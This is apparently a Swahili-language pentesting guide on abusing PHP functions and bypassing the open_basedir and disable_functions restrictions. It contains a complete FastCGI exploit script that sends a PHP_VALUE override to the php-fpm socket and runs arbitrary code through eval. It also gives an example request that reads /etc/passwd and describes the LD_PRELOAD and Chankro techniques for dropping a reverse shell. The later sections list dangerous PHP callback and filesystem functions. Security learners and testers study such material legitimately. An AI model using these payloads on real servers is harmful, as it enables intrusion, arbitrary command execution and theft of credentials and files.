mail / mb_send_mail - Hii kazi inatumika kutuma barua pepe, lakini pia inaweza kutumika vibaya kuingiza amri zisizo za kawaida ndani ya parameter ya $options. Hii ni kwa sababu php mail function kawaida inaita sendmail binary ndani ya mfumo na inaruhusu kuweka chaguzi za ziada. Hata hivyo, huwezi kuona matokeo ya amri iliyotekelezwa, hivyo inashauriwa kuunda script ya shell inayandika matokeo kwenye faili, kuitekeleza kwa kutumia barua pepe, na kuchapisha matokeo:
dl - Hii kazi inaweza kutumika kupakia kiendelezi cha PHP kwa njia ya kidinamik. Hii kazi haitakuwepo kila wakati, hivyo unapaswa kuangalia kama inapatikana kabla ya kujaribu kuifanyia shambulio. Soma ukurasa huu kujifunza jinsi ya kutumia kazi hii.
PHP Code Execution
Mbali na eval, kuna njia nyingine za kutekeleza msimbo wa PHP: include/require zinaweza kutumika kwa utekelezaji wa msimbo wa mbali katika mfumo wa Local File Include na Remote File Include vulnerabilities.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Disabled functions ni mipangilio inayoweza kuwekewa katika faili za .ini katika PHP ambayo itakataza matumizi ya functions zilizoonyeshwa. Open basedir ni mipangilio inayomwambia PHP folda ambayo inaweza kufikiwa.
Mipangilio ya PHP inapaswa kuwekwa katika njia /etc/php7/conf.d au sawa na hiyo.
Mipangilio yote inaweza kuonekana katika matokeo ya phpinfo():
open_basedir Bypass
open_basedir itapangilia folda ambazo PHP inaweza kufikia, huwezi kuandika/soma/kutekeleza faili yoyote nje ya folda hizo, lakini pia huwezi hata kuorodhesha saraka nyingine.
Hata hivyo, ikiwa kwa namna fulani unaweza kutekeleza msimbo wa PHP wa kawaida unaweza jaribu kipande hiki cha codes kujaribu bypass vizuizi.
Listing dirs with glob:// bypass
Katika mfano huu wa kwanza, itatumika protokali ya glob:// pamoja na njia fulani ya bypass:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Note1: Katika njia unaweza pia kutumia /e??/* kuorodhesha /etc/* na folda nyingine yoyote.
Note2: Inaonekana kama sehemu ya msimbo imejirudia, lakini hiyo ni muhimu!
Note3: Mfano huu ni wa manufaa tu kuorodhesha folda si kusoma faili
Kamili open_basedir bypass ikitumia FastCGI
Ikiwa unataka kujifunza zaidi kuhusu PHP-FPM na FastCGI unaweza kusoma sehemu ya kwanza ya ukurasa huu.
Ikiwa php-fpm imewekwa unaweza kuitumia kuzunguka kabisa open_basedir:
Kumbuka kwamba jambo la kwanza unahitaji kufanya ni kutafuta wapi unix socket ya php-fpm iko. Inatumika kuwa chini ya /var/run hivyo unaweza kutumia msimbo wa awali kuorodhesha saraka na kuipata.
Msimbo kutoka hapa.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Hii skripti itawasiliana na unix socket ya php-fpm (kawaida iko katika /var/run ikiwa fpm inatumika) ili kutekeleza msimbo wa kiholela. Mipangilio ya open_basedir itabadilishwa na sifa ya PHP_VALUE ambayo inatumwa.
Kumbuka jinsi eval inavyotumika kutekeleza msimbo wa PHP unayotuma ndani ya parameter ya cmd.
Pia kumbuka mstari wa 324 ulio na maoni, unaweza kuondoa maoni na payload itajihusisha moja kwa moja na URL iliyotolewa na kutekeleza msimbo wa PHP ulio ndani yake.
Fikia tu http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); ili kupata maudhui ya faili ya /etc/passwd.
Huenda unafikiria kwamba kwa njia ile ile tulivyo badilisha mipangilio ya open_basedir tunaweza kubadilisha disable_functions. Vizuri, jaribu, lakini haitafanya kazi, kwa wazi disable_functions inaweza kuwekwa tu katika faili ya mipangilio ya .ini php na mabadiliko unayofanya kwa kutumia PHP_VALUE hayatakuwa na ufanisi kwenye mipangilio hii maalum.
disable_functions Bypass
Ikiwa unafanikiwa kuwa na msimbo wa PHP ukitekelezwa ndani ya mashine, huenda unataka kwenda kwenye kiwango kingine na kutekeleza amri za mfumo wa kiholela. Katika hali hii ni kawaida kugundua kwamba nyingi au zote za functions za PHP zinazoruhusu kutekeleza amri za mfumo zimezuiliwa katika disable_functions.
Hivyo, hebu tuone jinsi unaweza kupita kizuizi hiki (ikiwa unaweza)
Rudi tu mwanzo wa ukurasa huu na angalia ikiwa yoyote ya functions zinazotekeleza amri haijazuiliwa na inapatikana katika mazingira. Ikiwa unapata moja tu kati yao, utaweza kuitumia kutekeleza amri za mfumo wa kiholela.
LD_PRELOAD bypass
Inajulikana kwamba baadhi ya functions katika PHP kama mail() zitatekeleza binaries ndani ya mfumo. Hivyo, unaweza kuzitumia vibaya kwa kutumia variable ya mazingira LD_PRELOAD ili kufanya zipakue maktaba ya kiholela ambayo inaweza kutekeleza chochote.
Functions ambazo zinaweza kutumika kupita disable_functions kwa kutumia LD_PRELOAD
mail
mb_send_mail: Inafanya kazi vizuri wakati moduli ya php-mbstring imewekwa.
imap_mail: Inafanya kazi ikiwa moduli ya php-imap ipo.
libvirt_connect: Inahitaji moduli ya php-libvirt-php.
gnupg_init: Inaweza kutumika ikiwa moduli ya php-gnupg imewekwa.
new imagick(): Darasa hili linaweza kutumika vibaya ili kupita vizuizi. Mbinu za kina za unyakuzi zinaweza kupatikana katika andiko hapa.
Unaweza kupata hapa skripti ya fuzzing ambayo ilitumika kupata hizo functions.
Hapa kuna maktaba unaweza kuunda ili kutumia variable ya mazingira ya LD_PRELOAD:
Ili kutumia vibaya usanidi huu mbovu unaweza Chankro. Hii ni zana ambayo itaunda PHP exploit ambayo unahitaji kupakia kwenye seva iliyo hatarini na kuitekeleza (fikia kupitia wavuti).
Chankro itaandika ndani ya diski ya waathirika maktaba na reverse shell unayotaka kutekeleza na itatumia**LD_PRELOAD trick + PHP mail()** kazi ili kutekeleza reverse shell.
Kumbuka kwamba ili kutumia Chankro, mail na putenvhaziwezi kuonekana ndani ya orodha ya disable_functions.
Katika mfano ufuatao unaweza kuona jinsi ya kuunda chankro exploit kwa arch 64, ambayo itatekeleza whoami na kuokoa matokeo katika /tmp/chankro_shell.out, chankro it andika maktaba na payload katika /tmp na exploit ya mwisho itaitwa bicho.php (hiyo ndiyo faili unahitaji kupakia kwenye seva ya waathirika):
Kumbuka kwamba kwa kutumia PHP unaweza kusoma na kuandika faili, kuunda saraka na kubadilisha ruhusa.
Unaweza hata kudump databases.
Labda kwa kutumia PHP ili kuorodhesha sanduku unaweza kupata njia ya kupandisha mamlaka/kutekeleza amri (kwa mfano kusoma funguo za ssh za kibinafsi).
Kazi hizi zinakubali parameter ya string ambayo inaweza kutumika kuita kazi ya uchaguzi wa mshambuliaji. Kulingana na kazi, mshambuliaji anaweza kuwa na uwezo wa kupitisha parameter au la. Katika kesi hiyo, kazi ya Ufichuzi wa Taarifa kama phpinfo() inaweza kutumika.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Information Disclosure
Mara nyingi, hizi kito za kazi si vyanzo. Lakini inaweza kuwa udhaifu ikiwa data yoyote iliyorejeshwa inaonekana kwa mshambuliaji. Ikiwa mshambuliaji anaweza kuona phpinfo(), ni udhaifu bila shaka.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Filesystem Functions
Kulingana na RATS, kazi zote za filesystem katika php ni mbaya. Baadhi ya hizi hazionekani kuwa na manufaa sana kwa mshambuliaji. Nyingine ni za manufaa zaidi kuliko unavyoweza kufikiria. Kwa mfano, ikiwa allow_url_fopen=On, basi url inaweza kutumika kama njia ya faili, hivyo wito wa copy($_GET['s'], $_GET['d']); unaweza kutumika kupakia script ya PHP mahali popote kwenye mfumo. Pia, ikiwa tovuti ina udhaifu wa ombi lililotumwa kupitia GET, kila moja ya hizo kazi za filesystem inaweza kutumika vibaya kupeleka shambulio kwa mwenyeji mwingine kupitia seva yako.
Andika kwenye mfumo wa faili (sehemu kwa sehemu kwa mchanganyiko na kusoma)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir